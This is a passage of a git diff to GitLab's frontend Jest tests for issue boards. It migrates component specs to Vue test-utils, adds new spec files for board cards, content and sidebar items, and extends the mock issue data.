newIssueMock = Promise.resolve(promiseReturn);
jest.spyOn(list, 'newIssue').mockImplementation(() => newIssueMock);
- vm = new BoardNewIssueComp({
+ wrapper = mount(BoardNewIssueComp, {
propsData: {
+ disabled: false,
list,
},
- }).$mount(document.querySelector('.test-container'));
+ provide: {
+ groupId: null,
+ },
+ });
+
+ vm = wrapper.vm;
return Vue.nextTick();
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
mock.restore();
});
it('calls submit if submit button is clicked', () => {
- jest.spyOn(vm, 'submit').mockImplementation(e => e.preventDefault());
+ jest.spyOn(wrapper.vm, 'submit').mockImplementation();
vm.title = 'Testing Title';
- return Vue.nextTick().then(() => {
- vm.$el.querySelector('.btn-success').click();
-
- expect(vm.submit.mock.calls.length).toBe(1);
- });
+ return Vue.nextTick()
+ .then(submitIssue)
+ .then(() => {
+ expect(wrapper.vm.submit).toHaveBeenCalled();
+ });
});
it('disables submit button if title is empty', () => {
- expect(vm.$el.querySelector('.btn-success').disabled).toBe(true);
+ expect(wrapper.find({ ref: 'submitButton' }).props().disabled).toBe(true);
});
it('enables submit button if title is not empty', () => {
- vm.title = 'Testing Title';
+ wrapper.setData({ title: 'Testing Title' });
return Vue.nextTick().then(() => {
- expect(vm.$el.querySelector('.form-control').value).toBe('Testing Title');
- expect(vm.$el.querySelector('.btn-success').disabled).not.toBe(true);
+ expect(wrapper.find({ ref: 'input' }).element.value).toBe('Testing Title');
+ expect(wrapper.find({ ref: 'submitButton' }).props().disabled).toBe(false);
});
});
it('clears title after clicking cancel', () => {
- vm.$el.querySelector('.btn-default').click();
+ wrapper.find({ ref: 'cancelButton' }).trigger('click');
return Vue.nextTick().then(() => {
expect(vm.title).toBe('');
@@ -97,7 +103,7 @@ describe('Issue boards new issue form', () => {
describe('submit success', () => {
it('creates new issue', () => {
- vm.title = 'submit title';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -107,17 +113,18 @@ describe('Issue boards new issue form', () => {
});
it('enables button after submit', () => {
- vm.title = 'submit issue';
+ jest.spyOn(wrapper.vm, 'submit').mockImplementation();
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
.then(() => {
- expect(vm.$el.querySelector('.btn-success').disabled).toBe(false);
+ expect(wrapper.vm.$refs.submitButton.props().disabled).toBe(false);
});
});
it('clears title after submit', () => {
- vm.title = 'submit issue';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -128,7 +135,7 @@ describe('Issue boards new issue form', () => {
it('sets detail issue after submit', () => {
expect(boardsStore.detail.issue.title).toBe(undefined);
- vm.title = 'submit issue';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -138,7 +145,7 @@ describe('Issue boards new issue form', () => {
});
it('sets detail list after submit', () => {
- vm.title = 'submit issue';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -149,7 +156,7 @@ describe('Issue boards new issue form', () => {
it('sets detail weight after submit', () => {
boardsStore.weightFeatureAvailable = true;
- vm.title = 'submit issue';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -160,7 +167,7 @@ describe('Issue boards new issue form', () => {
it('does not set detail weight after submit', () => {
boardsStore.weightFeatureAvailable = false;
- vm.title = 'submit issue';
+ wrapper.setData({ title: 'submit issue' });
return Vue.nextTick()
.then(submitIssue)
diff --git a/spec/frontend/boards/boards_store_spec.js b/spec/frontend/boards/boards_store_spec.js
index 29cc8f981bd..41971137b95 100644
--- a/spec/frontend/boards/boards_store_spec.js
+++ b/spec/frontend/boards/boards_store_spec.js
@@ -312,7 +312,7 @@ describe('boardsStore', () => {
});
describe('newIssue', () => {
- const id = 'not-creative';
+ const id = 1;
const issue = { some: 'issue data' };
const url = `${endpoints.listsEndpoint}/${id}/issues`;
const expectedRequest = expect.objectContaining({
diff --git a/spec/frontend/boards/components/board_card_layout_spec.js b/spec/frontend/boards/components/board_card_layout_spec.js
new file mode 100644
index 00000000000..80f649a1a96
--- /dev/null
+++ b/spec/frontend/boards/components/board_card_layout_spec.js
@@ -0,0 +1,95 @@
+/* global List */
+/* global ListLabel */
+
+import { shallowMount } from '@vue/test-utils';
+
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+
+import '~/boards/models/label';
+import '~/boards/models/assignee';
+import '~/boards/models/list';
+import store from '~/boards/stores';
+import boardsStore from '~/boards/stores/boards_store';
+import BoardCardLayout from '~/boards/components/board_card_layout.vue';
+import issueCardInner from '~/boards/components/issue_card_inner.vue';
+import { listObj, boardsMockInterceptor, setMockEndpoints } from '../mock_data';
+
+describe('Board card layout', () => {
+ let wrapper;
+ let mock;
+ let list;
+
+ // this particular mount component needs to be used after the root beforeEach because it depends on list being initialized
+ const mountComponent = propsData => {
+ wrapper = shallowMount(BoardCardLayout, {
+ stubs: {
+ issueCardInner,
+ },
+ store,
+ propsData: {
+ list,
+ issue: list.issues[0],
+ disabled: false,
+ index: 0,
+ ...propsData,
+ },
+ provide: {
+ groupId: null,
+ rootPath: '/',
+ },
+ });
+ };
+
+ const setupData = () => {
+ list = new List(listObj);
+ boardsStore.create();
+ boardsStore.detail.issue = {};
+ const label1 = new ListLabel({
+ id: 3,
+ title: 'testing 123',
+ color: '#000cff',
+ text_color: 'white',
+ description: 'test',
+ });
+ return waitForPromises().then(() => {
+ list.issues[0].labels.push(label1);
+ });
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onAny().reply(boardsMockInterceptor);
+ setMockEndpoints();
+ return setupData();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ list = null;
+ mock.restore();
+ });
+
+ describe('mouse events', () => {
+ it('sets showDetail to true on mousedown', async () => {
+ mountComponent();
+
+ wrapper.trigger('mousedown');
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.showDetail).toBe(true);
+ });
+
+ it('sets showDetail to false on mousemove', async () => {
+ mountComponent();
+ wrapper.trigger('mousedown');
+ await wrapper.vm.$nextTick();
+ expect(wrapper.vm.showDetail).toBe(true);
+ wrapper.trigger('mousemove');
+ await wrapper.vm.$nextTick();
+ expect(wrapper.vm.showDetail).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/boards/components/board_card_spec.js b/spec/frontend/boards/components/board_card_spec.js
new file mode 100644
index 00000000000..a3ddcdf01b7
--- /dev/null
+++ b/spec/frontend/boards/components/board_card_spec.js
@@ -0,0 +1,220 @@
+/* global List */
+/* global ListAssignee */
+/* global ListLabel */
+
+import { mount } from '@vue/test-utils';
+
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import axios from '~/lib/utils/axios_utils';
+
+import eventHub from '~/boards/eventhub';
+import sidebarEventHub from '~/sidebar/event_hub';
+import '~/boards/models/label';
+import '~/boards/models/assignee';
+import '~/boards/models/list';
+import store from '~/boards/stores';
+import boardsStore from '~/boards/stores/boards_store';
+import BoardCard from '~/boards/components/board_card.vue';
+import issueCardInner from '~/boards/components/issue_card_inner.vue';
+import userAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
+import { listObj, boardsMockInterceptor, setMockEndpoints } from '../mock_data';
+
+describe('BoardCard', () => {
+ let wrapper;
+ let mock;
+ let list;
+
+ const findIssueCardInner = () => wrapper.find(issueCardInner);
+ const findUserAvatarLink = () => wrapper.find(userAvatarLink);
+
+ // this particular mount component needs to be used after the root beforeEach because it depends on list being initialized
+ const mountComponent = propsData => {
+ wrapper = mount(BoardCard, {
+ stubs: {
+ issueCardInner,
+ },
+ store,
+ propsData: {
+ list,
+ issue: list.issues[0],
+ disabled: false,
+ index: 0,
+ ...propsData,
+ },
+ provide: {
+ groupId: null,
+ rootPath: '/',
+ },
+ });
+ };
+
+ const setupData = async () => {
+ list = new List(listObj);
+ boardsStore.create();
+ boardsStore.detail.issue = {};
+ const label1 = new ListLabel({
+ id: 3,
+ title: 'testing 123',
+ color: '#000cff',
+ text_color: 'white',
+ description: 'test',
+ });
+ await waitForPromises();
+
+ list.issues[0].labels.push(label1);
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onAny().reply(boardsMockInterceptor);
+ setMockEndpoints();
+ return setupData();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ list = null;
+ mock.restore();
+ });
+
+ it('when details issue is empty does not show the element', () => {
+ mountComponent();
+ expect(wrapper.find('[data-testid="board_card"').classes()).not.toContain('is-active');
+ });
+
+ it('when detailIssue is equal to card issue shows the element', () => {
+ [boardsStore.detail.issue] = list.issues;
+ mountComponent();
+
+ expect(wrapper.classes()).toContain('is-active');
+ });
+
+ it('when multiSelect does not contain issue removes multi select class', () => {
+ mountComponent();
+ expect(wrapper.classes()).not.toContain('multi-select');
+ });
+
+ it('when multiSelect contain issue add multi select class', () => {
+ boardsStore.multiSelect.list = [list.issues[0]];
+ mountComponent();
+
+ expect(wrapper.classes()).toContain('multi-select');
+ });
+
+ it('adds user-can-drag class if not disabled', () => {
+ mountComponent();
+ expect(wrapper.classes()).toContain('user-can-drag');
+ });
+
+ it('does not add user-can-drag class disabled', () => {
+ mountComponent({ disabled: true });
+
+ expect(wrapper.classes()).not.toContain('user-can-drag');
+ });
+
+ it('does not add disabled class', () => {
+ mountComponent();
+ expect(wrapper.classes()).not.toContain('is-disabled');
+ });
+
+ it('adds disabled class is disabled is true', () => {
+ mountComponent({ disabled: true });
+
+ expect(wrapper.classes()).toContain('is-disabled');
+ });
+
+ describe('mouse events', () => {
+ it('does not set detail issue if showDetail is false', () => {
+ mountComponent();
+ expect(boardsStore.detail.issue).toEqual({});
+ });
+
+ it('does not set detail issue if link is clicked', () => {
+ mountComponent();
+ findIssueCardInner()
+ .find('a')
+ .trigger('mouseup');
+
+ expect(boardsStore.detail.issue).toEqual({});
+ });
+
+ it('does not set detail issue if img is clicked', () => {
+ mountComponent({
+ issue: {
+ ...list.issues[0],
+ assignees: [
+ new ListAssignee({
+ id: 1,
+ name: 'testing 123',
+ username: 'test',
+ avatar: 'test_image',
+ }),
+ ],
+ },
+ });
+
+ findUserAvatarLink().trigger('mouseup');
+
+ expect(boardsStore.detail.issue).toEqual({});
+ });
+
+ it('does not set detail issue if showDetail is false after mouseup', () => {
+ mountComponent();
+ wrapper.trigger('mouseup');
+
+ expect(boardsStore.detail.issue).toEqual({});
+ });
+
+ it('sets detail issue to card issue on mouse up', () => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+
+ mountComponent();
+
+ wrapper.trigger('mousedown');
+ wrapper.trigger('mouseup');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('newDetailIssue', wrapper.vm.issue, undefined);
+ expect(boardsStore.detail.list).toEqual(wrapper.vm.list);
+ });
+
+ it('resets detail issue to empty if already set', () => {
+ jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
+ const [issue] = list.issues;
+ boardsStore.detail.issue = issue;
+ mountComponent();
+
+ wrapper.trigger('mousedown');
+ wrapper.trigger('mouseup');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith('clearDetailIssue', undefined);
+ });
+ });
+
+ describe('sidebarHub events', () => {
+ it('closes all sidebars before showing an issue if no issues are opened', () => {
+ jest.spyOn(sidebarEventHub, '$emit').mockImplementation(() => {});
+ boardsStore.detail.issue = {};
+ mountComponent();
+
+ // sets conditional so that event is emitted.
+ wrapper.trigger('mousedown');
+
+ wrapper.trigger('mouseup');
+
+ expect(sidebarEventHub.$emit).toHaveBeenCalledWith('sidebar.closeAll');
+ });
+
+ it('it does not closes all sidebars before showing an issue if an issue is opened', () => {
+ jest.spyOn(sidebarEventHub, '$emit').mockImplementation(() => {});
+ const [issue] = list.issues;
+ boardsStore.detail.issue = issue;
+ mountComponent();
+
+ wrapper.trigger('mousedown');
+
+ expect(sidebarEventHub.$emit).not.toHaveBeenCalledWith('sidebar.closeAll');
+ });
+ });
+});
diff --git a/spec/frontend/boards/components/board_column_spec.js b/spec/frontend/boards/components/board_column_spec.js
index c06b7aceaad..2a4dbbb989e 100644
--- a/spec/frontend/boards/components/board_column_spec.js
+++ b/spec/frontend/boards/components/board_column_spec.js
@@ -59,10 +59,11 @@ describe('Board Column Component', () => {
propsData: {
boardId,
disabled: false,
- issueLinkBase: '/',
- rootPath: '/',
list,
},
+ provide: {
+ boardId,
+ },
});
};
diff --git a/spec/frontend/boards/components/board_content_spec.js b/spec/frontend/boards/components/board_content_spec.js
new file mode 100644
index 00000000000..df117d06cdf
--- /dev/null
+++ b/spec/frontend/boards/components/board_content_spec.js
@@ -0,0 +1,64 @@
+import Vuex from 'vuex';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { GlAlert } from '@gitlab/ui';
+import EpicsSwimlanes from 'ee_component/boards/components/epics_swimlanes.vue';
+import BoardColumn from 'ee_else_ce/boards/components/board_column.vue';
+import getters from 'ee_else_ce/boards/stores/getters';
+import { mockListsWithModel } from '../mock_data';
+import BoardContent from '~/boards/components/board_content.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('BoardContent', () => {
+ let wrapper;
+
+ const defaultState = {
+ isShowingEpicsSwimlanes: false,
+ boardLists: mockListsWithModel,
+ error: undefined,
+ };
+
+ const createStore = (state = defaultState) => {
+ return new Vuex.Store({
+ getters,
+ state,
+ actions: {
+ fetchIssuesForAllLists: () => {},
+ },
+ });
+ };
+
+ const createComponent = state => {
+ const store = createStore({
+ ...defaultState,
+ ...state,
+ });
+ wrapper = shallowMount(BoardContent, {
+ localVue,
+ propsData: {
+ lists: mockListsWithModel,
+ canAdminList: true,
+ disabled: false,
+ },
+ store,
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a BoardColumn component per list', () => {
+ expect(wrapper.findAll(BoardColumn)).toHaveLength(mockListsWithModel.length);
+ });
+
+ it('does not display EpicsSwimlanes component', () => {
+ expect(wrapper.find(EpicsSwimlanes).exists()).toBe(false);
+ expect(wrapper.find(GlAlert).exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index b1d277863e8..65d8070192c 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -11,7 +11,7 @@ describe('board_form.vue', () => {
const propsData = {
canAdminBoard: false,
labelsPath: `${TEST_HOST}/labels/path`,
- milestonePath: `${TEST_HOST}/milestone/path`,
+ labelsWebUrl: `${TEST_HOST}/-/labels`,
};
const findModal = () => wrapper.find(DeprecatedModal);
diff --git a/spec/frontend/boards/components/board_list_header_spec.js b/spec/frontend/boards/components/board_list_header_spec.js
index 76a3d5e71c8..2439c347bf0 100644
--- a/spec/frontend/boards/components/board_list_header_spec.js
+++ b/spec/frontend/boards/components/board_list_header_spec.js
@@ -57,12 +57,12 @@ describe('Board List Header Component', () => {
wrapper = shallowMount(BoardListHeader, {
propsData: {
- boardId,
disabled: false,
- issueLinkBase: '/',
- rootPath: '/',
list,
},
+ provide: {
+ boardId,
+ },
});
};
@@ -106,7 +106,7 @@ describe('Board List Header Component', () => {
createComponent();
expect(isCollapsed()).toBe(false);
- wrapper.find('[data-testid="board-list-header"]').vm.$emit('click');
+ wrapper.find('[data-testid="board-list-header"]').trigger('click');
return wrapper.vm.$nextTick().then(() => {
expect(isCollapsed()).toBe(false);
diff --git a/spec/frontend/boards/components/board_settings_sidebar_spec.js b/spec/frontend/boards/components/board_settings_sidebar_spec.js
index f39adc0fc49..12c9431f2d4 100644
--- a/spec/frontend/boards/components/board_settings_sidebar_spec.js
+++ b/spec/frontend/boards/components/board_settings_sidebar_spec.js
@@ -6,8 +6,9 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import { GlDrawer, GlLabel } from '@gitlab/ui';
import BoardSettingsSidebar from '~/boards/components/board_settings_sidebar.vue';
import boardsStore from '~/boards/stores/boards_store';
+import { createStore } from '~/boards/stores';
import sidebarEventHub from '~/sidebar/event_hub';
-import { inactiveId } from '~/boards/constants';
+import { inactiveId, LIST } from '~/boards/constants';
const localVue = createLocalVue();
@@ -16,19 +17,12 @@ localVue.use(Vuex);
describe('BoardSettingsSidebar', () => {
let wrapper;
let mock;
- let storeActions;
+ let store;
const labelTitle = 'test';
const labelColor = '#FFFF';
const listId = 1;
- const createComponent = (state = { activeId: inactiveId }, actions = {}) => {
- storeActions = actions;
-
- const store = new Vuex.Store({
- state,
- actions: storeActions,
- });
-
+ const createComponent = () => {
wrapper = shallowMount(BoardSettingsSidebar, {
store,
localVue,
@@ -38,6 +32,9 @@ describe('BoardSettingsSidebar', () => {
const findDrawer = () => wrapper.find(GlDrawer);
beforeEach(() => {
+ store = createStore();
+ store.state.activeId = inactiveId;
+ store.state.sidebarType = LIST;
boardsStore.create();
});
@@ -46,114 +43,125 @@ describe('BoardSettingsSidebar', () => {
wrapper.destroy();
});
- it('finds a GlDrawer component', () => {
- createComponent();
+ describe('when sidebarType is "list"', () => {
+ it('finds a GlDrawer component', () => {
+ createComponent();
- expect(findDrawer().exists()).toBe(true);
- });
+ expect(findDrawer().exists()).toBe(true);
+ });
- describe('on close', () => {
- it('calls closeSidebar', async () => {
- const spy = jest.fn();
- createComponent({ activeId: inactiveId }, { setActiveId: spy });
+ describe('on close', () => {
+ it('closes the sidebar', async () => {
+ createComponent();
- findDrawer().vm.$emit('close');
+ findDrawer().vm.$emit('close');
- await wrapper.vm.$nextTick();
+ await wrapper.vm.$nextTick();
- expect(storeActions.setActiveId).toHaveBeenCalledWith(
- expect.anything(),
- inactiveId,
- undefined,
- );
- });
+ expect(wrapper.find(GlDrawer).exists()).toBe(false);
+ });
- it('calls closeSidebar on sidebar.closeAll event', async () => {
- createComponent({ activeId: inactiveId }, { setActiveId: jest.fn() });
+ it('closes the sidebar when emitting the correct event', async () => {
+ createComponent();
- sidebarEventHub.$emit('sidebar.closeAll');
+ sidebarEventHub.$emit('sidebar.closeAll');
- await wrapper.vm.$nextTick();
+ await wrapper.vm.$nextTick();
- expect(storeActions.setActiveId).toHaveBeenCalledWith(
- expect.anything(),
- inactiveId,
- undefined,
- );
+ expect(wrapper.find(GlDrawer).exists()).toBe(false);
+ });
});
- });
- describe('when activeId is zero', () => {
- it('renders GlDrawer with open false', () => {
- createComponent();
+ describe('when activeId is zero', () => {
+ it('renders GlDrawer with open false', () => {
+ createComponent();
- expect(findDrawer().props('open')).toBe(false);
+ expect(findDrawer().props('open')).toBe(false);
+ });
});
- });
- describe('when activeId is greater than zero', () => {
- beforeEach(() => {
- mock = new MockAdapter(axios);
+ describe('when activeId is greater than zero', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+
+ boardsStore.addList({
+ id: listId,
+ label: { title: labelTitle, color: labelColor },
+ list_type: 'label',
+ });
+ store.state.activeId = 1;
+ store.state.sidebarType = LIST;
+ });
- boardsStore.addList({
- id: listId,
- label: { title: labelTitle, color: labelColor },
- list_type: 'label',
+ afterEach(() => {
+ boardsStore.removeList(listId);
});
- });
- afterEach(() => {
- boardsStore.removeList(listId);
+ it('renders GlDrawer with open false', () => {
+ createComponent();
+
+ expect(findDrawer().props('open')).toBe(true);
+ });
});
- it('renders GlDrawer with open false', () => {
- createComponent({ activeId: 1 });
+ describe('when activeId is in boardsStore', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
- expect(findDrawer().props('open')).toBe(true);
- });
- });
+ boardsStore.addList({
+ id: listId,
+ label: { title: labelTitle, color: labelColor },
+ list_type: 'label',
+ });
- describe('when activeId is in boardsStore', () => {
- beforeEach(() => {
- mock = new MockAdapter(axios);
+ store.state.activeId = listId;
+ store.state.sidebarType = LIST;
- boardsStore.addList({
- id: listId,
- label: { title: labelTitle, color: labelColor },
- list_type: 'label',
+ createComponent();
});
- createComponent({ activeId: listId });
- });
+ afterEach(() => {
+ mock.restore();
+ });
- afterEach(() => {
- mock.restore();
- });
+ it('renders label title', () => {
+ expect(findLabel().props('title')).toBe(labelTitle);
+ });
- it('renders label title', () => {
- expect(findLabel().props('title')).toBe(labelTitle);
+ it('renders label background color', () => {
+ expect(findLabel().props('backgroundColor')).toBe(labelColor);
+ });
});
- it('renders label background color', () => {
- expect(findLabel().props('backgroundColor')).toBe(labelColor);
- });
- });
+ describe('when activeId is not in boardsStore', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
- describe('when activeId is not in boardsStore', () => {
- beforeEach(() => {
- mock = new MockAdapter(axios);
+ boardsStore.addList({ id: listId, label: { title: labelTitle, color: labelColor } });
+
+ store.state.activeId = inactiveId;
- boardsStore.addList({ id: listId, label: { title: labelTitle, color: labelColor } });
+ createComponent();
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
- createComponent({ activeId: inactiveId });
+ it('does not render GlLabel', () => {
+ expect(findLabel().exists()).toBe(false);
+ });
});
+ });
- afterEach(() => {
- mock.restore();
+ describe('when sidebarType is not List', () => {
+ beforeEach(() => {
+ store.state.sidebarType = '';
+ createComponent();
});
- it('does not render GlLabel', () => {
- expect(findLabel().exists()).toBe(false);
+ it('does not render GlDrawer', () => {
+ expect(findDrawer().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/boards/components/boards_selector_spec.js b/spec/frontend/boards/components/boards_selector_spec.js
index f2d4de238d1..2b7605a3f7c 100644
--- a/spec/frontend/boards/components/boards_selector_spec.js
+++ b/spec/frontend/boards/components/boards_selector_spec.js
@@ -81,12 +81,12 @@ describe('BoardsSelector', () => {
assignee_id: null,
labels: [],
},
- milestonePath: `${TEST_HOST}/milestone/path`,
boardBaseUrl: `${TEST_HOST}/board/base/url`,
hasMissingBoards: false,
canAdminBoard: true,
multipleIssueBoardsAvailable: true,
labelsPath: `${TEST_HOST}/labels/path`,
+ labelsWebUrl: `${TEST_HOST}/labels`,
projectId: 42,
groupId: 19,
scopedIssueBoardFeatureEnabled: true,
diff --git a/spec/frontend/boards/components/issuable_title_spec.js b/spec/frontend/boards/components/issuable_title_spec.js
new file mode 100644
index 00000000000..4b7f491b998
--- /dev/null
+++ b/spec/frontend/boards/components/issuable_title_spec.js
@@ -0,0 +1,33 @@
+import { shallowMount } from '@vue/test-utils';
+import IssuableTitle from '~/boards/components/issuable_title.vue';
+
+describe('IssuableTitle', () => {
+ let wrapper;
+ const defaultProps = {
+ title: 'One',
+ refPath: 'path',
+ };
+ const createComponent = () => {
+ wrapper = shallowMount(IssuableTitle, {
+ propsData: { ...defaultProps },
+ });
+ };
+ const findIssueContent = () => wrapper.find('[data-testid="issue-title"]');
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('renders a title of an issue in the sidebar', () => {
+ expect(findIssueContent().text()).toContain('One');
+ });
+
+ it('renders a referencePath of an issue in the sidebar', () => {
+ expect(findIssueContent().text()).toContain('path');
+ });
+});
diff --git a/spec/frontend/boards/components/issue_count_spec.js b/spec/frontend/boards/components/issue_count_spec.js
index 819d878f4e2..d1ff0bdbf88 100644
--- a/spec/frontend/boards/components/issue_count_spec.js
+++ b/spec/frontend/boards/components/issue_count_spec.js
@@ -29,7 +29,7 @@ describe('IssueCount', () => {
});
it('does not contains maxIssueCount in the template', () => {
- expect(vm.contains('.js-max-issue-size')).toBe(false);
+ expect(vm.find('.js-max-issue-size').exists()).toBe(false);
});
});
diff --git a/spec/frontend/boards/components/sidebar/board_editable_item_spec.js b/spec/frontend/boards/components/sidebar/board_editable_item_spec.js
new file mode 100644
index 00000000000..1dbcbd06407
--- /dev/null
+++ b/spec/frontend/boards/components/sidebar/board_editable_item_spec.js
@@ -0,0 +1,107 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlLoadingIcon } from '@gitlab/ui';
+import BoardSidebarItem from '~/boards/components/sidebar/board_editable_item.vue';
+
+describe('boards sidebar remove issue', () => {
+ let wrapper;
+
+ const findLoader = () => wrapper.find(GlLoadingIcon);
+ const findEditButton = () => wrapper.find('[data-testid="edit-button"]');
+ const findTitle = () => wrapper.find('[data-testid="title"]');
+ const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
+ const findExpanded = () => wrapper.find('[data-testid="expanded-content"]');
+
+ const createComponent = ({ props = {}, slots = {}, canUpdate = false } = {}) => {
+ wrapper = shallowMount(BoardSidebarItem, {
+ attachTo: document.body,
+ provide: { canUpdate },
+ propsData: props,
+ slots,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('template', () => {
+ it('renders title', () => {
+ const title = 'Sidebar item title';
+ createComponent({ props: { title } });
+
+ expect(findTitle().text()).toBe(title);
+ });
+
+ it('hides edit button, loader and expanded content by default', () => {
+ createComponent();
+
+ expect(findEditButton().exists()).toBe(false);
+ expect(findLoader().exists()).toBe(false);
+ expect(findExpanded().isVisible()).toBe(false);
+ });
+
+ it('shows "None" if empty collapsed slot', () => {
+ createComponent({});
+
+ expect(findCollapsed().text()).toBe('None');
+ });
+
+ it('renders collapsed content by default', () => {
+ const slots = { collapsed: '<div>Collapsed content</div>' };
+ createComponent({ slots });
+
+ expect(findCollapsed().text()).toBe('Collapsed content');
+ });
+
+ it('shows edit button if can update', () => {
+ createComponent({ canUpdate: true });
+
+ expect(findEditButton().exists()).toBe(true);
+ });
+
+ it('shows loading icon if loading', () => {
+ createComponent({ props: { loading: true } });
+
+ expect(findLoader().exists()).toBe(true);
+ });
+
+ it('shows expanded content and hides collapsed content when clicking edit button', async () => {
+ const slots = { default: '<div>Select item</div>' };
+ createComponent({ canUpdate: true, slots });
+ findEditButton().vm.$emit('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findCollapsed().isVisible()).toBe(false);
+ expect(findExpanded().isVisible()).toBe(true);
+ expect(findExpanded().text()).toBe('Select item');
+ });
+ });
+ });
+
+ describe('collapsing an item by offclicking', () => {
+ beforeEach(async () => {
+ createComponent({ canUpdate: true });
+ findEditButton().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('hides expanded section and displays collapsed section', async () => {
+ expect(findExpanded().isVisible()).toBe(true);
+ document.body.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findExpanded().isVisible()).toBe(false);
+ });
+
+ it('emits changed event', async () => {
+ document.body.click();
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted().changed[1][0]).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/boards/issue_card_spec.js b/spec/frontend/boards/issue_card_spec.js
index dee8cb7b6e5..7e22e9647f0 100644
--- a/spec/frontend/boards/issue_card_spec.js
+++ b/spec/frontend/boards/issue_card_spec.js
@@ -47,13 +47,15 @@ describe('Issue card component', () => {
propsData: {
list,
issue,
- issueLinkBase: '/test',
- rootPath: '/',
},
store,
stubs: {
GlLabel: true,
},
+ provide: {
+ groupId: null,
+ rootPath: '/',
+ },
});
});
diff --git a/spec/frontend/boards/list_spec.js b/spec/frontend/boards/list_spec.js
index b731bb6e474..9c3a6e66ef4 100644
--- a/spec/frontend/boards/list_spec.js
+++ b/spec/frontend/boards/list_spec.js
@@ -184,6 +184,7 @@ describe('List model', () => {
}),
);
list.issues = [];
+ global.gon.features = { boardsWithSwimlanes: false };
});
it('adds new issue to top of list', done => {
diff --git a/spec/frontend/boards/mock_data.js b/spec/frontend/boards/mock_data.js
index 8ef6efe23c7..5776332c499 100644
--- a/spec/frontend/boards/mock_data.js
+++ b/spec/frontend/boards/mock_data.js
@@ -1,3 +1,9 @@
+/* global ListIssue */
+/* global List */
+
+import Vue from 'vue';
+import '~/boards/models/list';
+import '~/boards/models/issue';
import boardsStore from '~/boards/stores/boards_store';
export const boardObj = {
@@ -92,11 +98,64 @@ export const mockMilestone = {
due_date: '2019-12-31',
};
+const assignees = [
+ {
+ id: 'gid://gitlab/User/2',
+ username: 'angelina.herman',
+ name: 'Bernardina Bosco',
+ avatar: 'https://www.gravatar.com/avatar/eb7b664b13a30ad9f9ba4b61d7075470?s=80&d=identicon',
+ webUrl: 'http://127.0.0.1:3000/angelina.herman',
+ },
+];
+
+const labels = [
+ {
+ id: 'gid://gitlab/GroupLabel/5',
+ title: 'Cosync',
+ color: '#34ebec',
+ description: null,
+ },
+];
+
+export const rawIssue = {
+ title: 'Issue 1',
+ id: 'gid://gitlab/Issue/436',
+ iid: 27,
+ dueDate: null,
+ timeEstimate: 0,
+ weight: null,
+ confidential: false,
+ referencePath: 'gitlab-org/test-subgroup/gitlab-test#27',
+ path: '/gitlab-org/test-subgroup/gitlab-test/-/issues/27',
+ labels: {
+ nodes: [
+ {
+ id: 1,
+ title: 'test',
+ color: 'red',
+ description: 'testing',
+ },
+ ],
+ },
+ assignees: {
+ nodes: assignees,
+ },
+ epic: {
+ id: 'gid://gitlab/Epic/41',
+ },
+};
+
export const mockIssue = {
- title: 'Testing',
- id: 1,
- iid: 1,
+ id: 'gid://gitlab/Issue/436',
+ iid: 27,
+ title: 'Issue 1',
+ dueDate: null,
+ timeEstimate: 0,
+ weight: null,
confidential: false,
+ referencePath: 'gitlab-org/test-subgroup/gitlab-test#27',
+ path: '/gitlab-org/test-subgroup/gitlab-test/-/issues/27',
+ assignees,
labels: [
{
id: 1,
@@ -105,16 +164,64 @@ export const mockIssue = {
description: 'testing',
},
],
- assignees: [
- {
- id: 1,
- name: 'name',
- username: 'username',
- avatar_url: 'http://avatar_url',
- },
- ],
+ epic: {
